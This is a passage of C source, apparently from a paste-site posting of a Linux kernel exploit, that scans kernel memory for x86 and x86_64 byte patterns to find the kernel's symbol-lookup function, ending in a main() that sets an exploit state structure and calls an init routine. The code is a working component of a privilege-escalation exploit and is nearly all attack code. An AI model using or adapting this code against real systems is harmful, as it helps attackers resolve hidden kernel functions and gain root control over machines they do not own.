  1601.     unsigned long i, x;
  1602.     unsigned char *mem;
  1603.  
  1604.     for (x = 0; valid_ranges[x][0]; x++) {
  1605.         mem = (unsigned char *)valid_ranges[x][0];
  1606.     for (i = 0; i < (valid_ranges[x][1] - valid_ranges[x][0]) - 100; i++) {
  1607. #ifdef __x86_64__
  1608.         if (mem[i] == 0x48 && *(unsigned int *)&mem[i+3] == intaddr)
  1609. #else
  1610.         if ((mem[i] == 0x68 && *(unsigned int *)&mem[i+1] == intaddr) ||
  1611.             (mem[i] == 0xc7 && mem[i+1] == 0x44 && mem[i+2] == 0x24 && mem[i+3] == 0x04 && *(unsigned int *)&mem[i+4] == intaddr))
  1612. #endif
  1613.             return (unsigned long)mem + i;
  1614.     }
  1615.     }
  1616.  
  1617.     return 0UL;
  1618. }
  1619.  
  1620. static inline unsigned long find_call_to_kallsyms_lookup(unsigned char *mem, unsigned long len, unsigned long addr)
  1621. {
  1622.     unsigned long idx = addr - (unsigned long)mem;
  1623.     unsigned long i;
  1624.  
  1625.     for (i = idx; i > idx - 0x100; i--) {
  1626.         if (mem[i] == 0xe8 && *(int *)&mem[i+1] > -0x1000 && *(int *)&mem[i+1] < 0)
  1627.             return (unsigned long)mem + i;
  1628.     }
  1629.  
  1630.     return 0UL;
  1631. }
  1632.  
  1633. static inline unsigned long get_call_target(unsigned long addr)
  1634. {
  1635.     return addr + 5 + *(int *)(addr + 1);
  1636.  
  1637. }
  1638.  
  1639. static inline unsigned long find_kallsyms_expand_symbol(unsigned char *mem, unsigned long len, unsigned long addr)
  1640. {
  1641.     unsigned long i;
  1642.     unsigned long startidx = addr - (unsigned long)mem;
  1643.     int count = 0;
  1644.  
  1645.     for (i = startidx + 0x20; i < startidx + 0x100; i++) {
  1646.         // find near call followed by a test r12/r13
  1647. #ifdef __x86_64__
  1648.         if (mem[i] == 0xe8 && mem[i+3] > 0xF0 && mem[i+4] == 0xFF && mem[i+5] == 0x4d)
  1649. #else
  1650.         if ((mem[i] == 0xe8 && mem[i+3] > 0xF0 && mem[i+4] == 0xFF && mem[i+5] == 0x85) ||
  1651.             // interleaved mov
  1652.             (mem[i] == 0xe8 && mem[i+3] > 0xF0 && mem[i+4] == 0xFF && mem[i+5] == 0x8b && mem[i+8] == 0x85))
  1653. #endif
  1654.             return get_call_target((unsigned long)mem + i);
  1655.     }
  1656.  
  1657.     return 0UL;
  1658. }
  1659.  
  1660. static inline bool call_to_function_pointer_nearby(unsigned char *mem, unsigned long len, unsigned long addr)
  1661. {
  1662.     unsigned long startidx = addr - (unsigned long)mem;
  1663.     unsigned long i;
  1664.  
  1665.     for (i = startidx; i < startidx + 0x30; i++) {
  1666.         // look for call reg / test eax, eax
  1667. #ifdef __x86_64__
  1668.         if (mem[i] == 0x41 && mem[i+1] == 0xff && mem[i+3] == 0x85 && mem[i+4] == 0xc0)
  1669. #else
  1670.         if ((mem[i] == 0xff && mem[i+2] == 0x85 && mem[i+3] == 0xc0) ||
  1671.             (mem[i] == 0xff && mem[i+3] == 0xff && mem[i+4] == 0xff && mem[i+5] == 0xff && mem[i+6] == 0x85 && mem[i+7] == 0xc0))
  1672. #endif
  1673.             return true;
  1674.     }
  1675.  
  1676.     return false;
  1677. }
  1678.  
  1679. static inline bool has_return_value_checking_call_nearby(unsigned char *mem, unsigned long len, unsigned long addr)
  1680. {
  1681.     unsigned long startidx = addr - (unsigned long)mem;
  1682.     unsigned long i;
  1683.  
  1684.     for (i = startidx; i < startidx + 0x30; i++) {
  1685.         // look for relative call / test eax, eax
  1686.         if (mem[i] == 0xe8 && (mem[i+4] == 0x00 || mem[i+4] == 0xff) && mem[i+5] == 0x85 && mem[i+6] == 0xc0) {
  1687.             // now look for the jnz / mov / jmp sequence
  1688. #ifdef __x86_64__
  1689.             if (mem[i+7] == 0x75 && mem[i+9] == 0x48 && mem[i+17] == 0xeb)
  1690. #else
  1691.             if (mem[i+7] == 0x75 && mem[i+9] == 0x8b && mem[i+16] == 0xeb)
  1692. #endif
  1693.                 return true;
  1694.         }
  1695.     }
  1696.  
  1697.     return false;
  1698. }
  1699.  
  1700. static inline unsigned long get_function_address(unsigned char *mem, unsigned long len, unsigned long addr)
  1701. {
  1702.     unsigned long startidx = addr - (unsigned long)mem;
  1703.     unsigned long i;
  1704.  
  1705.     for (i = startidx; i > startidx - 0x100; i--) {
  1706. #ifdef __x86_64__
  1707.         if (!memcmp(&mem[i], "\x55\x48\x89\xe5", 4))
  1708. #else
  1709.         if (!memcmp(&mem[i], "\x55\x89\xe5", 3) || !memcmp(&mem[i], "\x55\x89\xc5", 3))
  1710. #endif
  1711.             return (unsigned long)mem + i;
  1712.     }
  1713.  
  1714.     return 0UL;
  1715. }
  1716.  
  1717. static inline unsigned long find_kallsyms_lookup_name(unsigned char *mem, unsigned long len, unsigned long addr)
  1718. {
  1719.     unsigned long startidx = addr - (unsigned long)mem - 0x2000;
  1720.     unsigned long endidx = addr - (unsigned long)mem + 0x2000;
  1721.     unsigned long i;
  1722.  
  1723.     for (i = startidx; i < endidx; i++) {
  1724.         if (mem[i] == 0xe8 && get_call_target((unsigned long)mem + i) == addr) {
  1725.             // found a call to kallsyms_expand_symbol
  1726.             if (call_to_function_pointer_nearby(mem, len, (unsigned long)mem + i + 5))
  1727.                 continue;
  1728.             if (!has_return_value_checking_call_nearby(mem, len, (unsigned long)mem + i + 5))
  1729.                 continue;
  1730.             return get_function_address(mem, len, (unsigned long)mem + i);
  1731.         }
  1732.     }
  1733.  
  1734.     return 0UL;
  1735. }
  1736.  
  1737. static unsigned long get_kallsyms_lookup_name(void)
  1738. {
  1739.     unsigned char *base;
  1740.     unsigned long len;
  1741.     unsigned long start_string;
  1742.     unsigned long start_string_ref;
  1743.     unsigned long kallsyms_lookup_call;
  1744.     unsigned long kallsyms_lookup;
  1745.     unsigned long kallsyms_expand_symbol;
  1746.     unsigned long kallsyms_lookup_name_func;
  1747.     int i;
  1748.  
  1749. #ifdef __x86_64__
  1750.     find_kernel_ranges();
  1751. #else
  1752.     /* hack for now */
  1753.     valid_ranges[0][0] = KERNEL_BASE + 0x01000000;
  1754.     valid_ranges[0][1] = valid_ranges[0][0] + (1024 * 1024 * 16);
  1755. #endif
  1756.  
  1757.     if (!valid_ranges[0][0] || !valid_ranges[0][1])
  1758.         return 0UL;
  1759.     start_string = find_starting_string();
  1760.     if (!start_string)
  1761.         return 0UL;
  1762.     start_string_ref = find_reference_to_starting_string(start_string);
  1763.     if (!start_string_ref)
  1764.         return 0UL;
  1765.     for (i = 0; i < NUM_RANGES; i++) {
  1766.         if (start_string_ref >= valid_ranges[i][0] && start_string_ref < valid_ranges[i][1]) {
  1767.             base = (unsigned char *)valid_ranges[i][0];
  1768.             len = valid_ranges[i][1] - valid_ranges[i][0];
  1769.             break;
  1770.         }
  1771.     }
  1772.     kallsyms_lookup_call = find_call_to_kallsyms_lookup(base, len, start_string_ref);
  1773.     if (!kallsyms_lookup_call)
  1774.         return 0UL;
  1775.     kallsyms_lookup = get_call_target(kallsyms_lookup_call);
  1776.     kallsyms_expand_symbol = find_kallsyms_expand_symbol(base, len, kallsyms_lookup);
  1777.     if (!kallsyms_expand_symbol)
  1778.         return 0UL;
  1779.     kallsyms_lookup_name_func = find_kallsyms_lookup_name(base, len, kallsyms_expand_symbol);
  1780.  
  1781.     return kallsyms_lookup_name_func;
  1782. }
  1783.  
  1784. int main(void)
  1785. {
  1786.   exp_state.run_from_main = 1;
  1787.   pa__init(NULL);
  1788.   return 0;
  1789. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement